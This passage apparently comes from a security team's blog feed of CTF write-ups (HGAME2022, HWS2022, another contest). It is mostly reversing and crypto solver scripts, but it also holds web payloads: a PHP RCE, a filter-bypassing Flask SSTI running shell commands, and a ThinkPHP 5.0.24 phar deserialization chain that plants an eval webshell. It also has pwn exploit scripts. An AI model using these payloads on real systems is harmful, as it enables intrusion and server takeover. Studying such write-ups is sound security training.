elif c == 13: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;jnz $+1+[6]\u0026#34;) elif c == 14: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;jmp $+1+[2]\u0026#34;) elif c == 15: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;cmp [3], [5]\u0026#34;) elif c == 16: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;getchar([3])\u0026#34;) elif c == 17: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;putchar([3])\u0026#34;) elif c == 18: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;push *(([4]++)+0xD1)\u0026#34;) elif c == 19: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;mov [3], [rbp+[2]]\u0026#34;) elif c == 20: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;mov [rbp+[2]], [3]\u0026#34;) elif c == 21: print (\u0026#34;_%02X:\\t\u0026#34; % i + \u0026#34;add [3], [3]\u0026#34;) 也许跟着 log 一起看比较好，这里就直接对着 data 里的数据看了\n_00: push 0x0A _01: pop [5] _02: push -5 _03: pop [6] _04: getchar([3]) _05: push [3] _06: inc [2] _07: cmp [3], [5] _08: jnz $+1+[6] _09: dec [2] 这个 jnz 的循环是 getchar() 直到读取到 \\n\n接下来是个对长度做了限制\n_0A: push 0x20 _0B: pop [5] _0C: push 0x2F _0D: pop [6] _0E: mov [3], [2] _0F: push [3] _10: cmp [3], [5] _11: jnz $+1+[6] 这里先 add 自身，然后依次异或 data 中的数据（第一个是 0x5e）\n_12: push -10 _13: pop [6] _14: push 0 _15: pop [2] _16: mov [3], [rbp+[2]] _17: push 0x5e (next_mem) _18: pop [7] _19: add [3], [3] _1A: xor [3], [7] _1B: mov [rbp+[2]], [3] _1C: inc [2] _1D: mov [3], [2] _1E: cmp [3], [5] _1F: jnz $+1+[6] 后面就是比较了，如果不相等就会直接从第一个 jnz 直接退出，否则会判断长度来看是否退出循环\n_20: push *(([4]++)+0xD1) ; 0 _21: pop [2] _22: push *(([4]++)+0xD1) ; -17 _23: push *(([4]++)+0xD1) ; 21 _24: push *(([4]++)+0xD1) ; 142 _25: pop [5] ; [5] = 142 _26: mov [3], [rbp+[2]] ; [3]=142 _27: cmp [3], [5] ; 0 _28: pop [3] _29: push [3] _2A: pop [6] ; 21 _2B: jnz $+1+[6] _2C: pop [6] ; -17 _2D: pop [5] _2E: push [5] _2F: push [6] _30: push [3] _31: inc [2] _32: mov [3], [2] _33: cmp [3], [5] _34: jnz $+1+[6] 最后一段没有看了，putchar() 显然是输出正确信息\n脚本\nfrom operator import xor xor_list = [0x5E, 0x46, 0x61, 0x43, 0x0E, 0x53, 0x49, 0x1F, 0x51, 0x5E, 0x36, 0x37, 0x29, 0x41, 0x63, 0x3B, 0x64, 0x3B, 0x15, 0x18, 0x5B, 0x3E, 0x22, 0x50, 0x46, 0x5E, 0x35, 0x4E, 0x43, 0x23, 0x60, 0x3B] cipher = [0x8E, 0x88, 0x0A3, 0x99, 0x0C4, 0x0A5, 0x0C3, 0x0DD, 0x19, 0x0EC, 0x6C, 0x9B, 0x0F3, 0x1B, 0x8B, 0x5B, 0x3E, 0x9B, 0x0F1, 0x86, 0x0F3, 0x0F4, 0x0A4, 0x0F8, 0x0F8, 0x98, 0x0AB, 0x86, 0x89, 0x61, 0x22, 0xC1] for x, c in zip(xor_list, cipher): print (chr((c ^ x) // 2), end=\u0026#39;\u0026#39;) # hgame{Ea$Y-Vm-t0-PrOTeCT_cOde!!} [RE]hardasm By s0uthwood\n全是 simd，反着执行回去就行，或者可以试试正着用 z3 解\n这个脚本因为有些指令的某一个参数是不变的（比如 vpermd ymmX, ymm7, ymmX），所以偷懒了\nasm = \u0026#39;\u0026#39;\u0026#39;\\ vpermd ymm4, ymm7, ymm4 ... vpermd ymm1, ymm7, ymm1\u0026#39;\u0026#39;\u0026#39; ymm0 = b\u0026#39;\\x93\\xcb\\xe7\\x93\\xa9\\x81\\r\\xb6\\xd8\\xdd\\x9c\\x7f\\xc0M\\xcd\\xf0\\x00\\xa0\\x9f\u0026#34;\\x89\\xefT]\\xef\\x00\\x8d\\xfe^L\\xd0\\xec\u0026#39; ymm1 = b\u0026#39;i\\xcf\\x8e\\xb3\\xf8\\x98\\x90\\x0b\\\\\u0026amp;}\\xcf\\x8c$\\x1d\\x96s\\x8b\\xc7\\xaa\\xfc\\xaf\\xfd\\x91F3e\\xb8#z\\xcd\\xa5\u0026#39; ymm2 = b\u0026#34;\\xff\\x83\\xf3\\xdf\\xec\\x00\\x8e\\x92OL\\x97O\u0026#39;D\\x7f\\xa4\\xe3N\\xbf$d\\xdd*T\\xc3i\\xb2\\x82q\\xa0\\x1b\\xf5\u0026#34; ymm3 = b\u0026#39;\\xb4\\xc7lj\\xfb\\x1fp\\xf5}\\xc9\\r\\x1b\\xb4\\xe5\\xffEN^\\x95]\\xef\\x8e@\\x8d\\x9a\\xf9\\xd1\\x92\\x8b\\xbf}\\xbb\u0026#39; ymm4 = b\u0026#39;\\xca}6\\xf7\\xc5\\xcb\\x90\\xb9B\\x96\\xe0\\xa55sL\\xf7\\xa9\\x9d\\x87\\xa1\\xc2r\\x8b\\xe8\\x9af\\t*\\xe6%\\x04\\xd1\u0026#39; ymm5 = b\u0026#39;)\\x9d\\x0bGy\\x1a\\xa4\\x97\\x02\\xbf\\x13\\x9e\\xa0\\xd2\\xa4m?_=M4\\xea\\xeeRa\\x97e\\xb4\\x04\\x91\\xd8W\u0026#39; ymm6 = b\u0026#39;\\x00\\x01\\x08\\t\\n\\x02\\x03\\x04\\x05\\x0c\\r\\x0e\\x06\\x07\\x0b\\x0f\\x00\\x06\\x07\\x08\\t\\n\\x02\\x03\\x04\\x05\\r\\x0e\\x0b\\x0c\\x01\\x0f\u0026#39; ymm7 = b\u0026#39;\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x07\\x00\\x00\\x00\u0026#39; def rev_vpermd(x, y): \u0026#34;\u0026#34;\u0026#34; origin: from: b\u0026#34;3_bh\u0026#34; b\u0026#34;\\rd\\xa8\\xff\\x8f\\x99\\xa7\\x94\\x9e\\x9a)4\u0026#34; b\u0026#34;\u0026#39;6\\xd6\\x82\\xc2m\\xe8\\xaa\u0026#34; b\u0026#34;\\x96Je\\xc0\\x0c7\\x19\\xc9\u0026#34; to : b\u0026#34;3_bh\u0026#34; b\u0026#34;\u0026#39;6\\xd6\\x82\\xc2m\\xe8\\xaa\u0026#34; b\u0026#34;\\rd\\xa8\\xff\\x8f\\x99\\xa7\\x94\\x9e\\x9a)4\u0026#34; b\u0026#34;\\x96Je\\xc0\\x0c7\\x19\\xc9\u0026#34; \u0026#34;\u0026#34;\u0026#34; return y[:4] + y[12:24] + y[4:12] + y[24:] def rev_vpxor(x, y): return bytes([a ^ b for a, b in zip(x, y)]) def rev_vpaddb(x, y): return bytes([(a - b) \u0026amp; 0xff for a, b in zip(x, y)]) def rev_vpsubb(x, y): return bytes([(a + b) \u0026amp; 0xff for a, b in zip(x, y)]) def rev_vpshufb(x, y): \u0026#34;\u0026#34;\u0026#34; origin: from: b\u0026#39;\\x89\\xa1\u0026#39; b\u0026#39;\u0026gt;\\xc0\\xe5\\x14\u0026#39; \u0026#39;_\\xc5\u0026#39; \u0026#39;_\\x14\\xb0\u0026#39; \u0026#39;\\xd0\u0026#39; \u0026#39;%\\x1f\\xe8\u0026#39; \u0026#39;\\xf5\\xb0\u0026#39; \u0026#39;4\u0026#39; \u0026#39;6\\xc2\\xc7\\xa0\u0026#39; \u0026#39;\\xb2\u0026lt;^~\\x9c\u0026#39; \u0026#39;\\xa4\\x98\u0026#39; \u0026#39;\\xe8T\u0026#39; \u0026#39;\\x0b\u0026#39; to : b\u0026#39;\\x89\\xa1\u0026#39; b\u0026#39;_\\x14\\xb0\u0026#39; \u0026#39;\u0026gt;\\xc0\\xe5\\x14\u0026#39; \u0026#39;%\\x1f\\xe8\u0026#39; \u0026#39;_\\xc5\u0026#39; \u0026#39;\\xd0\u0026#39; \u0026#39;\\xf5\\xb0\u0026#39; \u0026#39;\\xb2\u0026lt;^~\\x9c\u0026#39; \u0026#39;6\\xc2\\xc7\\xa0\u0026#39; \u0026#39;\\xe8T\u0026#39; \u0026#39;\\xa4\\x98\u0026#39; \u0026#39;4\u0026#39; \u0026#39;\\x0b\u0026#39; \u0026#34;\u0026#34;\u0026#34; return x[:2] + x[5:9] + x[12:14] + x[2:5] + x[14:15] + x[9:12] + x[15:17]+ x[30:31] + x[22:26] + x[17:22] + x[28:30] + x[26:28] + x[31:] for a in asm.split(\u0026#39;\\n\u0026#39;)[::-1]: b = a.replace(\u0026#39;,\u0026#39;, \u0026#39;\u0026#39;).split() exec(f\u0026#39;{b[1]} = rev_{b[0]}({b[2]}, {b[3]})\u0026#39;) print (ymm0) ida 动调的时候要知道寄存器的值，可以用 idapython 的 get_reg_value(\u0026quot;ymm0\u0026quot;) 指令不知道什么意思的话动调看一下变化就行\n[Crypto]ECC By NULLPointer\n传统的椭圆曲线加密，利用 sage 工具求解即可。\np = 74997021559434065975272431626618720725838473091721936616560359000648651891507 a = 61739043730332859978236469007948666997510544212362386629062032094925353519657 b = 87821782818477817609882526316479721490919815013668096771992360002467657827319 k = 93653874272176107584459982058527081604083871182797816204772644509623271061231 E = EllipticCurve(GF(p), [a, b]) #建立椭圆曲线E c1 = E(14455613666211899576018835165132438102011988264607146511938249744871964946084, 25506582570581289714612640493258299813803157561796247330693768146763035791942) c2 = E(37554871162619456709183509122673929636457622251880199235054734523782483869931, 71392055540616736539267960989304287083629288530398474590782366384873814477806) m = c1 - k * c2 # \u0026#34;m = (57824879640955326550732559538097319221644125075532201058220628014917816573008 : 54475275866179647254036565579467398677511796158866832907668620448532510526757 : 1)\u0026#34; from libnum import invmod,n2s m = [57824879640955326550732559538097319221644125075532201058220628014917816573008,54475275866179647254036565579467398677511796158866832907668620448532510526757] cipher_left = 68208062402162616009217039034331142786282678107650228761709584478779998734710 cipher_right = 27453988545002384546706933590432585006240439443312571008791835203660152890619 d1 = invmod(m[0],p) d2 = invmod(m[1],p) flag = n2s(pow(cipher_left*d1,1,p)) + n2s(pow(cipher_right*d2,1,p)) print(flag) # \u0026#34;hgame{ECC$is!sO@HaRd}\u0026#34; [Crypto]PRNG By NULLPointer\n解压得到 output.txt 和 task.py，先分析加密代码：\nmt = PRNG(randrange(0, 1 \u0026lt;\u0026lt; 32)) # 在0到2^32-1之间建立伪随机数生成器 print([mt() for _ in range(624)]) # 利用伪随机数生成器生成624个伪随机数写入列表 print([part ^ mt() for part in map(s2n, re.findall(\u0026#34;.{1,4}\u0026#34;, flag))]) # 将flag每四个字符分成一组得到多组字符串，转成整数后对每一组字符串生成一个伪随机数并异或处理，写入列表 由 MT 和 624 等关键词可知考察的是 PRNG 中的伪随机数生成算法 MT19937。MT19937 是一种周期很长的的伪随机数生成算法，可以快速的产生高质量的伪随机数。然而，由于 MT 中伪随机数是由固定的种子数生成的，因此如果获得了算法中种子数的统计规律，便可以利用其规律和已知的伪随机数序列推测算法生成的下一个伪随机数。在 MT 算法中，一般得到 624 个伪随机数即可进行预测。\ngithub 上基于 python 的开源工具 rankcrack 可以预测伪随机数序列。利用该工具编写预测脚本如下：\nfrom randcrack import RandCrack # data = [...] 题目中已给出 Rand = RandCrack() assert(len(data) \u0026gt;= 624) for i in range(624): Rand.submit(data[i]) for i in range(624, len(data)): Rand.predict_randrange(0,0xffffffff) print(Rand.predict_randrange(0,0xffffffff)) 脚本的使用方法为：将已知的伪随机数序列 data 放入程序，程序会根据已知序列预测MT算法产生的下一个伪随机数。将预测得到的伪随机数放入 data 末尾，重新运行程序即可获得下一个伪随机数。重复执行以上步骤直至获得足够长的伪随机数序列。\n密文列表中共有 21 个元素，因此利用以上预测脚本预测接下来生成的 21 个伪随机数。最后将对应位置的密文和伪随机数异或即可得到明文。解密脚本如下：\ndata = [ 888058162, 3094055443, # 中间省略 1699850772, 1444384326 ] c = [ 3437104340, 508103176, 1635844121, 878522509, 1923790547, 1727955782, 1371509208, 3182873539, 156878129, 1757777801, 1472806960, 3486450735, 2307527058, 2950814692, 1817110380, 372493821, 729662950, 2366747255, 774823385, 387513980, 1444397883 ] from libnum import n2s for i in range(624,646): print(n2s(c[i-624]^data[i])) # hgame{meRsenne!tWisTER~iS^A*WIDelY-USEd^pSEUDo\u0026amp;rAndOM:nUmBEr!GeNErATIon?AlgorIThM} ","date":"2022-02-25T22:32:31+08:00","permalink":"https://or4ngesec.github.io/post/hgame2022-writeup-by-or4nge/","title":"HGAME2022 Writeup by or4nge"},{"content":"RE babyVM 将花指令patch掉\n将patch好的应用到文件。\n能看出来是个虚拟机逆向题\n动态调试的过程中可以看到程序向内存里写了一段数据\n0xFF,0x223,0x23B,0x237,0x237,0x24B,0x22B,0xFB,0x22B,0x223,0x24F,0xEF,0x237,0xEF,0x24F,0x24F,0x223,0x223,0x23B,0x237,0xFF,0x233,0x233,0x233,0x237,0x24B,0x233,0x24F,0x22B,0x22B,0x24B,0xEF 这个部分把上述数据每一个都减了0x63\n程序获得用户的输入\n比较的过程中可以发现，用户输入的长度应该是0x26\n并且在后面比较的过程中，flag{}这几个字符占了6个。\n再向后跟踪的过程中发现\n用户的输入和0x42做了异或\n再把结果左移两位，和前面的数据做了比较，因此最后的exp是：\ndump = [156, 448, 472, 468, 468, 488, 456, 152, 456, 448, 492, 140, 468, 140, 492, 492, 448, 448, 472, 468, 156, 464, 464, 464, 468, 488, 464, 492, 456, 456, 488, 140] for i in range(len(dump)): print(chr((dump[i]\u0026gt;\u0026gt;2)^0x42),end=\u0026#39;\u0026#39;) print() # e247780d029a7a992247e6667869008a EasyVM 和上题一样，去除应该应该去除的花指令。\n然后引发了一个异常\n观察异常处理函数\n看到输入的长度为42\n在这个函数里面输入经过了base64编码，而且和0xa,0xb,0xc,0xd异或\n然后根据函数地址表进行虚拟机逻辑。\n动态调试中可以发现函数将输入经过特制变换的 base64 和前一个结果异或，和 0xee 异或，再进行比较，然后动态调试的过程中把最终的结果提取出来，可以写出脚本。\nimport base64 dump = [0x00,0xBE, 0x36, 0xAC, 0x27, 0x99, 0x4F, 0xDE, 0x44, 0xEE, 0x5F, 0xDA, 0x0B, 0xB5, 0x17, 0xB8, 0x68, 0xC2, 0x4E, 0x9C, 0x4A, 0xE1, 0x43, 0xF0, 0x22, 0x8A, 0x3B, 0x88, 0x5B, 0xE5, 0x54, 0xFF, 0x68, 0xD5, 0x67, 0xD4, 0x06, 0xAD, 0x0B, 0xD8, 0x50, 0xF9, 0x58, 0xE0, 0x6F, 0xC5, 0x4A, 0xFD, 0x2F, 0x84, 0x36, 0x85, 0x52, 0xFB, 0x73, 0xD7, 0x0D, 0xE3] x = [0xa,0xb,0xc,0xd] dump = dump[::-1] dump1 = [] for i in range(1,len(dump)): dump1.append(dump[i]^dump[i-1]^0xee) dump1 = dump1[::-1] dump2 = [] for i in range(len(dump1)): dump2.append((dump1[i]^x[(i)%4]).to_bytes(1,byteorder=\u0026#39;big\u0026#39;)) print (base64.b64decode(b\u0026#39;\u0026#39;.join(dump2))) # b\u0026#39;flag{2586dc76-98d5-44e2-ad58-d06e6559d82a}\u0026#39; Crypto babyrsa 把 n 扔到 factordb 上直接分解了出来，拿到 pq，直接解密就行\nfrom libnum import n2s def exgcd(a, b): if b == 0: return 1, 0, a else: x, y, q = exgcd(b, a % b) x, y = y, (x - (a // b) * y) return x, y, q p = 98197216341757567488149177586991336976901080454854408243068885480633972200382596026756300968618883148721598031574296054706280190113587145906781375704611841087782526897314537785060868780928063942914187241017272444601926795083433477673935377466676026146695321415853502288291409333200661670651818749836420808033 q = 133639826298015917901017908376475546339925646165363264658181838203059432536492968144231040597990919971381628901127402671873954769629458944972912180415794436700950304720548263026421362847590283353425105178540468631051824814390421486132775876582962969734956410033443729557703719598998956317920674659744121941513 N = 13123058934861171416713230498081453101147538789122070079961388806126697916963123413431108069961369055630747412550900239402710827847917960870358653962948282381351741121884528399369764530446509936240262290248305226552117100584726616255292963971141510518678552679033220315246377746270515853987903184512948801397452104554589803725619076066339968999308910127885089547678968793196148780382182445270838659078189316664538631875879022325427220682805580410213245364855569367702919157881367085677283124732874621569379901272662162025780608669577546548333274766058755786449491277002349918598971841605936268030140638579388226573929 assert p * q == N e = 2199344405076718723439776106818391416986774637417452818162477025957976213477191723664184407417234793814926418366905751689789699138123658292718951547073938244835923378103264574262319868072792187129755570696127796856136279813658923777933069924139862221947627969330450735758091555899551587605175567882253565613163972396640663959048311077691045791516671857020379334217141651855658795614761069687029140601439597978203375244243343052687488606544856116827681065414187957956049947143017305483200122033343857370223678236469887421261592930549136708160041001438350227594265714800753072939126464647703962260358930477570798420877 flag = 1492164290534197296766878830710549288168716657792979479408332026408553210558539364503279432780006256047888761718878241924947937039103166564146378209168719163067531460700424309878383312837345239570897122826051628153030129647363574035072755426112229160684859510640271933580581310029921376842631120847546030843821787623965614564745724229763999106839802052036834811357341644073138100679508864747009014415530176077648226083725813290110828240582884113726976794751006967153951269748482024859714451264220728184903144004573228365893961477199925864862018084224563883101101842275596219857205470076943493098825250412323522013524 d = exgcd(e, (p - 1) * (q - 1))[0] print(n2s(pow(flag, d, N))) flag:\ncrypto_Elgamal 首先是一个 LCG 的链式求解，通过五个值解出 A,B,q\n分析 elgmal 签名，同样使用了 LCG，那么有两个加密值就能够恢复消息，推导如下\n$$ c_{2\u0026rsquo;}\\equiv mh^{Ar_1+B} \\equiv m(h^{r_1})^Ah^B \\equiv mh^{r_1}(h^{r_1})^{A-1}h^B \\equiv c_2(h^{r_1})^{A-1}h^B\\pmod p $$\n$$ \\therefore (h^{r_1})^{A-1} \\equiv c_{2\u0026rsquo;}c_2^{-1}h^{-B} \\pmod p $$\n可以设法求出 $h^{r_1}$ 的值，然后就可以通过 $c_2=mh^{r_1}$ 求解出 m 值\n但由于 $A-1$ 和 $p-1$ 不互素，无法直接求得逆元，因此需要高次同余开根算法，这里使用了 AMM 算法进行求解，按照论文直接复现出来，得到 $h^{r_1}$ 的值\n最后计算 $m\\equiv c_2(h^{r_1})^{-1}\\pmod p$ 得到flag\nLCG 求解 ABq：\nfrom Crypto.Util.number import * def gcd(a,b): if(b==0): return a else: return gcd(b,a%b) s = [543263588863771657634119, 628899245716105951093835, 78708024695487418261582, 598971435111109998816796, 789474285039501272453373] t = [] for i in range(5): t.append(s[i]-s[i-1]) all_n = [] for i in range(3): all_n.append(gcd((t[i+1]*t[i-1]-t[i]*t[i]), (t[i+2]*t[i]-t[i+1]*t[i+1]))) MMI = lambda A, n,s=1,t=0,N=0: (n \u0026lt; 2 and t%N or MMI(n, A%n, t, s-A//n*t, N or n),-1)[n\u0026lt;1] #逆元计算 for n in all_n: n=abs(n) if n==1: continue a=(s[2]-s[1])*MMI((s[1]-s[0]),n)%n ani=MMI(a,n) b=(s[1]-a*s[0])%n print(a, b, n) AMM 算法代码：\nimport random import math import libnum import time from Crypto.Util.number import bytes_to_long,long_to_bytes p = 0 def GF(a): global p p = a def g(a,b): global p return pow(a,b,p) def AMM(x,e,p): GF(p) y = random.randint(1, p-1) while g(y, (p-1)//e) == 1: y = random.randint(1, p-1) print(y) #p-1 = e^t*s t = 1 s = 0 while p % e == 0: t += 1 print(t) s = p // (e**t) # s|ralpha-1 k = 1 while((s * k + 1) % e != 0): k += 1 alpha = (s * k + 1) // e a = g(y, (e ** (t - 1) ) * s) b = g(x, e * alpha - 1) c = g(y, s) h = 1 # for i in range(1, t-1): print(\u0026#39;cur_i\u0026#39;,i) d = g(b,e**(t-1-i)) if d == 1: j = 0 else: j = (-math.log(d,a) % e) b = b * (g(g(c, e), j)) h = h * g(c, j) c = g(c,e) return (g(x,alpha * h)) % p 解题脚本：\n#coding=utf-8 from gmpy2 import * from libnum import * from amm import AMM A = 12742153496769814072597 B = 3035433788765894539799 q = 791763770658839585424113 # A = 107868759310796409744994 # B = 492302818740419286543885 p = 65211247300401312530078141569304950676358489059623557848188896752173856845051471066071652073612337629832155846984721797768267868868902023383604553319793550396610085424563231688918357710337401138108050205457200940158475922063279384491022916790549837379548978141370347556053597178221402425212594060342213485311 g = 27642593390439430783453736408814717946185190497201679721975757020767271070510268596627490205095779429964809833535285315202625851326460572368018875381603399143376574281200028337681552876140857556460885848491160812604549770668188783258592940823128376128198726254875984002214053523752696104568469730021811399216 h = 54585833166051670245656045196940486576634589000609010947618047461787934106392112227019662788387352615714332234871251868259282522817042504587428441746855906297390193418159792477477443129333707197013251839952389651332058368911829464978546505729530760951698134101053626585254469108630886768357270544236516534904 c1 = 60724920570148295800083597588524297283595971970237964464679084640302395172192639331196385150232229004030419122038089044697951208850497923486467859070476427472465291810423905736825272208842988090394035980454248119048131354993356125895595138979611664707727518852984351599604226889848831071126576874892808080133 c2 = 48616294792900599931167965577794374684760165574922600262773518630884983374432147726140430372696876107933565006549344582099592376234783044818320678499613925823621554608542446585829308488452057340023780821973913517239972817669309837103043456714481646128392677624092659929248296869048674230341175765084122344264 c1_ = 42875731538109170678735196002365281622531058597803022779529275736483962610547258618168523955709341579773947887175626960699426438456382655370090748369934296474999389316334717699127421889816721511602392591677377678759026657582648354688447456509292302633971842316239774410380221303269351351929586256938787054867 c2_ = 64829024929257668640929285124747107162970460545535885047576569803424908055130477684809317765011143527867645692710091307694839524199204611328374569742391489915929451079830143261799375621377093290249652912850024319433129432676683899459510155157108727860920017105870104383111111395351496171846620163716404148070 k = (p - 1) // q assert k * q + 1 == p # print(q, k) hr1_A_1 = c2_ * invert(c2, p) * pow(h,-B, p) % p # print(hr1_A_1) d = xgcd(A - 1, p - 1)[0] % (p - 1) cur_x = AMM(hr1_A_1, 7438, p) # assert pow(cur_x, A - 1, p) == hr1_A_1 d = xgcd(A - 1, p - 1)[0] % (p - 1) x_7438 = pow(hr1_A_1, d, p) x_3719 = AMM(x_7438, 2, p) x_3719_ = p - x_3719 x_3719s = [x_3719, x_3719_] mol = (p - 1) // 3719 def check(mm): for i in mm: if i \u0026gt;= 128: return False return True for eve_c in x_3719s: cur_x = AMM(eve_c, 3719, p) assert pow(cur_x, A - 1, p) == hr1_A_1 for i in range(1, 1 + 6000): cur_use = cur_x * pow(i, mol, p) assert pow(cur_use, A - 1, p) == hr1_A_1 cur_m = xgcd(cur_use, p)[0] * c2 % p cur_m = n2s(int(cur_m)) if check(cur_m): print(cur_m) break # b\u0026#39;flag{19e9f185e6a680324cedd6e6d9382743}\u0026#39; Misc badPDF 文件在运行之后在 %tmp% 目录下释放了三个文件，将 js 和 tmp 都提取出来\ntmp的内容好像是在混淆，查了一下应该是使用 winrm.vbs 绕过应用白名单执行任意未签名代码(https://www.anquanke.com/post/id/151711)，再一找发现是原题\n找个 vbs 脚本改一下\nfor i= 1 to len(\u0026#34;676d60667a64333665326564333665326564333665326536653265643336656564333665327c\u0026#34;) step 2: flag = flag \u0026amp; chr(asc(chr(\u0026#34;\u0026amp;h\u0026#34; \u0026amp; mid(\u0026#34;676d60667a64333665326564333665326564333665326536653265643336656564333665327c\u0026#34;,i,2)))xor 1): next: msgbox(flag) 运行结果：\ngogogo 先解puzzle，gaps不知道为啥跑不动，手动硬拼，口令是3e8f092d4d7b80ce338d6e238efb01\n随后是个内存取证，在内存剪切板上又看到了上面的口令，确定了该口令只有30位而不是个md5\n在内存的文件找到了csgo.zip，用口令解密拿到图片，但显示不出来，用010editor打开图片，发现png文件头重复，删掉一个，看到正经图片，但是缺少定位符\n图片是个Aztec码，找了个二层的定位符，硬拼一下，在线网站直接解(https://products.aspose.app/barcode/recognize/aztec#/recognized)\nflag:\n","date":"2022-01-26T13:03:21+08:00","image":"https://or4ngesec.github.io/post/hws2022-writeup/cover_hu31039705144761defd1e1848d4287a81_131160_120x120_fill_q75_box_smart1.jpg","permalink":"https://or4ngesec.github.io/post/hws2022-writeup/","title":"HWS2022冬令营预选赛 Writeup"},{"content":"Web RCE_No_Para 无参数RCE，且过滤了部分函数。\n最终payload：\n?a=cat flag.php;\u0026amp;code=system(current(current(get_defined_vars()))); flask 查看网页源码\n\u0026lt;!--if not request.full_path.endswith(\u0026#34;.js?\u0026#34;): if not request.full_path.startswith(\u0026#34;/login\u0026#34;): return redirect(\u0026#34;login\u0026#34;)--\u0026gt; 要求路径是以/login开头，以.js?结尾，\n查看 flask 文档\nRequested path, including the query string.\n所以构造路径：\n/login/../admin?a=.js? 然后源码提示：\n\u0026lt;!--admin/?name=--\u0026gt; 使用以下路径发现是ssti\n/login/../admin?name={{7*7}}\u0026amp;a=.js? fuzz发现过滤了__，builtins，所以绕，最终payload\n/login/../admin?name={{config|attr(\u0026#39;_\u0026#39;+\u0026#39;_init_\u0026#39;+\u0026#39;_\u0026#39;)|attr(\u0026#39;_\u0026#39;+\u0026#39;_globals_\u0026#39;+\u0026#39;_\u0026#39;)|attr(\u0026#39;_\u0026#39;+\u0026#39;_getitem_\u0026#39;+\u0026#39;_\u0026#39;)(\u0026#39;_\u0026#39;+\u0026#39;_buil\u0026#39;+\u0026#39;tins_\u0026#39;+\u0026#39;_\u0026#39;)|attr(\u0026#39;_\u0026#39;+\u0026#39;_getitem_\u0026#39;+\u0026#39;_\u0026#39;)(\u0026#39;eval\u0026#39;)(\u0026#39;_\u0026#39;+\u0026#39;_import_\u0026#39;+\u0026#39;_(\u0026#34;os\u0026#34;).popen(\u0026#34;cat /flag\u0026#34;).read()\u0026#39;)}}\u0026amp;a=.js? tp 变量覆盖+phar反序列化+thinkphp 5.0.24反序列化写webshell\n生成phar文件\n\u0026lt;?php namespace think\\process\\pipes; class Windows { private $files = []; public function __construct() { $this-\u0026gt;files = [new \\think\\model\\Merge]; } } namespace think\\model; use think\\Model; class Merge extends Model { protected $append = []; protected $error; public function __construct() { $this-\u0026gt;append = [ \u0026#39;bb\u0026#39; =\u0026gt; \u0026#39;getError\u0026#39; ]; $this-\u0026gt;error = (new \\think\\model\\relation\\BelongsTo); } } namespace think; class Model{} namespace think\\console; class Output { protected $styles = []; private $handle = null; public function __construct() { $this-\u0026gt;styles = [\u0026#39;removeWhereField\u0026#39;]; $this-\u0026gt;handle = (new \\think\\session\\driver\\Memcache); } } namespace think\\model\\relation; class BelongsTo { protected $query; public function __construct() { $this-\u0026gt;query = (new \\think\\console\\Output); } } namespace think\\session\\driver; class Memcache { protected $handler = null; public function __construct() { $this-\u0026gt;handler = (new \\think\\cache\\driver\\Memcached); } } namespace think\\cache\\driver; class File { protected $tag; protected $options = []; public function __construct() { $this-\u0026gt;tag = false; $this-\u0026gt;options = [ \u0026#39;expire\u0026#39; =\u0026gt; 3600, \u0026#39;cache_subdir\u0026#39; =\u0026gt; false, \u0026#39;prefix\u0026#39; =\u0026gt; \u0026#39;\u0026#39;, \u0026#39;data_compress\u0026#39; =\u0026gt; false, \u0026#39;path\u0026#39; =\u0026gt; \u0026#39;php://filter/convert.base64-decode/resource=/var/www/html/public/\u0026#39;, ]; } } class Memcached { protected $tag; protected $options = []; protected $handler = null; public function __construct() { $this-\u0026gt;tag = true; $this-\u0026gt;options = [ \u0026#39;expire\u0026#39; =\u0026gt; 0, \u0026#39;prefix\u0026#39; =\u0026gt; \u0026#39;PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4\u0026#39;, ]; $this-\u0026gt;handler = (new File); } } $obj = new \\think\\process\\pipes\\Windows(); @unlink(\u0026#34;or4nge.phar\u0026#34;); $phar = new \\Phar(\u0026#34;or4nge.phar\u0026#34;); //后缀名必须为phar $phar-\u0026gt;startBuffering(); $phar-\u0026gt;setStub(\u0026#34;\u0026lt;?php __HALT_COMPILER(); ?\u0026gt;\u0026#34;); //设置stub $phar-\u0026gt;setMetadata($obj); //将自定义的meta-data存入manifest $phar-\u0026gt;addFromString(\u0026#34;test.txt\u0026#34;, \u0026#34;test\u0026#34;); //添加要压缩的文件 //签名自动计算 $phar-\u0026gt;stopBuffering(); 变量覆盖，触发反序列化\nimport requests url = \u0026#39;http://9316a714.lxctf.net/public/index.php/index/Index/upload\u0026#39; files = {\u0026#39;file\u0026#39;: (\u0026#39;or4nge\u0026#39;, open(\u0026#39;or4nge.phar\u0026#39;, \u0026#39;rb\u0026#39;))} r = requests.post(url, files=files) r = requests.post(url, params=\u0026#34;FILES[file][tmp_name]=or4nge.jpg\u0026amp;FILES[file][name]=phar://or4nge\u0026#34;) print(r.text) 会在 /var/www/html/public 下生成 8fba8bb6410a4aee90b063a8b7e78b73.php，文件内容包含 \u0026lt;?php eval($_GET['a']); 直接用就可以了。\nPwn pwn1 from pwn import * import sys context.log_level = \u0026#34;debug\u0026#34; if len(sys.argv) \u0026lt; 2: debug = True else: debug = False if debug: p = process(\u0026#34;./pwn1\u0026#34;) else: p = remote(\u0026#34;113.201.14.253\u0026#34;,16088) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) def debugf(b=0): if debug: if b: gdb.attach(p,\u0026#34;b *{b}\u0026#34;.format(b = hex(b))) else: gdb.attach(p) debugf(0x08048596) ru(\u0026#39;Gift:\u0026#39;) buf = int(ru(b\u0026#39;\\n\u0026#39;)[:-1],16) pay = p32(0x8048540)+b\u0026#39;a\u0026#39;*48 + p32(buf+4) sn(pay) #flag{474b7f9219effe69530da4ad63c1752a} p.interactive() pwn2 off by one\nfrom pwn import * import sys 